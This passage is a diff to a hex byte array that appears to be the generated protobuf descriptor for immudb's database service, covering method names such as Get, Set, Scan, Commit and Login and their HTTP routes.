0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, - 0x65, 0x54, 0x78, 0x22, 0x1d, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x17, 0x22, 0x12, 0x2f, 0x64, 0x62, - 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x73, 0x65, 0x74, 0x3a, - 0x01, 0x2a, 0x12, 0x4d, 0x0a, 0x03, 0x47, 0x65, 0x74, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, - 0x02, 0x0f, 0x12, 0x0d, 0x2f, 0x64, 0x62, 0x2f, 0x67, 0x65, 0x74, 0x2f, 0x7b, 0x6b, 0x65, 0x79, - 0x7d, 0x12, 0x73, 0x0a, 0x0d, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, - 0x65, 0x74, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, - 0x6c, 0x65, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x22, 0x1d, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x17, 0x22, - 0x12, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, - 0x67, 0x65, 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x5a, 0x0a, 0x06, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, - 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x74, 0x79, 0x22, 0x00, 0x12, 0x44, 0x0a, 0x05, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x12, 0x1b, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x65, + 0x77, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x65, 0x77, 0x54, 0x78, + 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x00, 0x12, 0x41, 0x0a, 0x06, 0x43, 0x6f, + 0x6d, 0x6d, 0x69, 0x74, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, + 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, + 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x22, 0x00, 0x12, 0x3c, 0x0a, + 0x08, 0x52, 0x6f, 0x6c, 0x6c, 0x62, 0x61, 0x63, 0x6b, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, + 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, + 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, + 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x44, 0x0a, 0x09, 0x54, + 0x78, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, + 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, + 0x00, 0x12, 0x4d, 0x0a, 0x0a, 0x54, 0x78, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x12, + 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, + 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x00, + 0x12, 0x5d, 0x0a, 0x05, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, 0x73, 0x70, + 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x19, 0x88, 0x02, 0x01, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0b, 0x22, + 0x06, 0x2f, 0x6c, 0x6f, 0x67, 0x69, 0x6e, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x02, 0x62, 0x00, 0x12, + 0x4f, 0x0a, 0x06, 0x4c, 0x6f, 0x67, 0x6f, 0x75, 0x74, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, + 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, + 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, + 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x15, 0x88, 0x02, 0x01, 0x82, 0xd3, + 0xe4, 0x93, 0x02, 0x0c, 0x22, 0x07, 0x2f, 0x6c, 0x6f, 0x67, 0x6f, 0x75, 0x74, 0x3a, 0x01, 0x2a, + 0x12, 0x4d, 0x0a, 0x03, 0x53, 0x65, 0x74, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x15, 0x82, 0xd3, 0xe4, - 0x93, 0x02, 0x0f, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x3a, - 0x01, 0x2a, 0x12, 0x56, 0x0a, 0x06, 0x47, 0x65, 0x74, 0x41, 0x6c, 0x6c, 0x12, 0x1d, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, - 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, - 0x69, 0x65, 0x73, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x22, 0x0a, 0x2f, 0x64, 0x62, - 0x2f, 0x67, 0x65, 0x74, 0x61, 0x6c, 0x6c, 0x3a, 0x01, 0x2a, 0x12, 0x59, 0x0a, 0x07, 0x45, 0x78, - 0x65, 0x63, 0x41, 0x6c, 0x6c, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x41, 0x6c, 0x6c, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x16, 0x82, - 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x22, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x65, 0x78, 0x65, 0x63, 0x61, - 0x6c, 0x6c, 0x3a, 0x01, 0x2a, 0x12, 0x4f, 0x0a, 0x04, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1a, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x63, - 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, - 0x73, 0x22, 0x13, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0d, 0x22, 0x08, 0x2f, 0x64, 0x62, 0x2f, 0x73, - 0x63, 0x61, 0x6e, 0x3a, 0x01, 0x2a, 0x12, 0x58, 0x0a, 0x05, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x12, - 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x4b, 0x65, 0x79, 0x50, 0x72, 0x65, 0x66, 0x69, 0x78, 0x1a, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x43, - 0x6f, 0x75, 0x6e, 0x74, 0x22, 0x1a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x14, 0x12, 0x12, 0x2f, 0x64, - 0x62, 0x2f, 0x63, 0x6f, 0x75, 0x6e, 0x74, 0x2f, 0x7b, 0x70, 0x72, 0x65, 0x66, 0x69, 0x78, 0x7d, - 0x12, 0x53, 0x0a, 0x08, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x41, 0x6c, 0x6c, 0x12, 0x16, 0x2e, 0x67, - 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, - 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x22, - 0x14, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0e, 0x12, 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x6f, 0x75, - 0x6e, 0x74, 0x61, 0x6c, 0x6c, 0x12, 0x4a, 0x0a, 0x06, 0x54, 0x78, 0x42, 0x79, 0x49, 0x64, 0x12, - 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x11, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x22, 0x13, 0x82, 0xd3, - 0xe4, 0x93, 0x02, 0x0d, 0x12, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x78, 0x2f, 0x7b, 0x74, 0x78, - 0x7d, 0x12, 0x73, 0x0a, 0x10, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, - 0x78, 0x42, 0x79, 0x49, 0x64, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x12, 0x82, 0xd3, 0xe4, + 0x93, 0x02, 0x0c, 0x22, 0x07, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x65, 0x74, 0x3a, 0x01, 0x2a, 0x12, + 0x70, 0x0a, 0x0d, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, + 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, - 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, - 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x1e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x12, 0x16, - 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x74, - 0x78, 0x2f, 0x7b, 0x74, 0x78, 0x7d, 0x12, 0x50, 0x0a, 0x06, 0x54, 0x78, 0x53, 0x63, 0x61, 0x6e, - 0x12, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x54, 0x78, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x15, + 0x54, 0x78, 0x22, 0x1d, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x17, 0x22, 0x12, 0x2f, 0x64, 0x62, 0x2f, + 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x73, 0x65, 0x74, 0x3a, 0x01, + 0x2a, 0x12, 0x4d, 0x0a, 0x03, 0x47, 0x65, 0x74, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, + 0x0f, 0x12, 0x0d, 0x2f, 0x64, 0x62, 0x2f, 0x67, 0x65, 0x74, 0x2f, 0x7b, 0x6b, 0x65, 0x79, 0x7d, + 0x12, 0x73, 0x0a, 0x0d, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, + 0x74, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, + 0x65, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x22, 0x1d, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x17, 0x22, 0x12, + 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x67, + 0x65, 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x5a, 0x0a, 0x06, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, + 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, + 0x02, 0x0f, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x3a, 0x01, + 0x2a, 0x12, 0x56, 0x0a, 0x06, 0x47, 0x65, 0x74, 0x41, 0x6c, 0x6c, 0x12, 0x1d, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x4c, + 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, + 0x65, 0x73, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, + 0x67, 0x65, 0x74, 0x61, 0x6c, 0x6c, 0x3a, 0x01, 0x2a, 0x12, 0x59, 0x0a, 0x07, 0x45, 0x78, 0x65, + 0x63, 0x41, 0x6c, 0x6c, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x41, 0x6c, 0x6c, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x16, 0x82, 0xd3, + 0xe4, 0x93, 0x02, 0x10, 0x22, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x65, 0x78, 0x65, 0x63, 0x61, 0x6c, + 0x6c, 0x3a, 0x01, 0x2a, 0x12, 0x4f, 0x0a, 0x04, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1a, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x63, 0x61, + 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, + 0x22, 0x13, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0d, 0x22, 0x08, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x63, + 0x61, 0x6e, 0x3a, 0x01, 0x2a, 0x12, 0x58, 0x0a, 0x05, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x12, 0x18, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, + 0x65, 0x79, 0x50, 0x72, 0x65, 0x66, 0x69, 0x78, 0x1a, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x43, 0x6f, + 0x75, 0x6e, 0x74, 0x22, 0x1a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x14, 0x12, 0x12, 0x2f, 0x64, 0x62, + 0x2f, 0x63, 0x6f, 0x75, 0x6e, 0x74, 0x2f, 0x7b, 0x70, 0x72, 0x65, 0x66, 0x69, 0x78, 0x7d, 0x12, + 0x53, 0x0a, 0x08, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x41, 0x6c, 0x6c, 0x12, 0x16, 0x2e, 0x67, 0x6f, + 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, + 0x70, 0x74, 0x79, 0x1a, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x22, 0x14, + 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0e, 0x12, 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x6f, 0x75, 0x6e, + 0x74, 0x61, 0x6c, 0x6c, 0x12, 0x4a, 0x0a, 0x06, 0x54, 0x78, 0x42, 0x79, 0x49, 0x64, 0x12, 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, - 0x78, 0x4c, 0x69, 0x73, 0x74, 0x22, 0x11, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0b, 0x22, 0x06, 0x2f, - 0x64, 0x62, 0x2f, 0x74, 0x78, 0x3a, 0x01, 0x2a, 0x12, 0x58, 0x0a, 0x07, 0x48, 0x69, 0x73, 0x74, - 0x6f, 0x72, 0x79, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, - 0x02, 0x10, 0x22, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x68, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x3a, - 0x01, 0x2a, 0x12, 0x6b, 0x0a, 0x0a, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, - 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x65, 0x73, - 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x18, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0d, 0x12, 0x0b, 0x2f, - 0x73, 0x65, 0x72, 0x76, 0x65, 0x72, 0x69, 0x6e, 0x66, 0x6f, 0x92, 0x41, 0x02, 0x62, 0x00, 0x12, - 0x55, 0x0a, 0x06, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, - 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, - 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, - 0x22, 0x14, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x09, 0x12, 0x07, 0x2f, 0x68, 0x65, 0x61, 0x6c, 0x74, - 0x68, 0x92, 0x41, 0x02, 0x62, 0x00, 0x12, 0x68, 0x0a, 0x0e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, - 0x73, 0x65, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, + 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 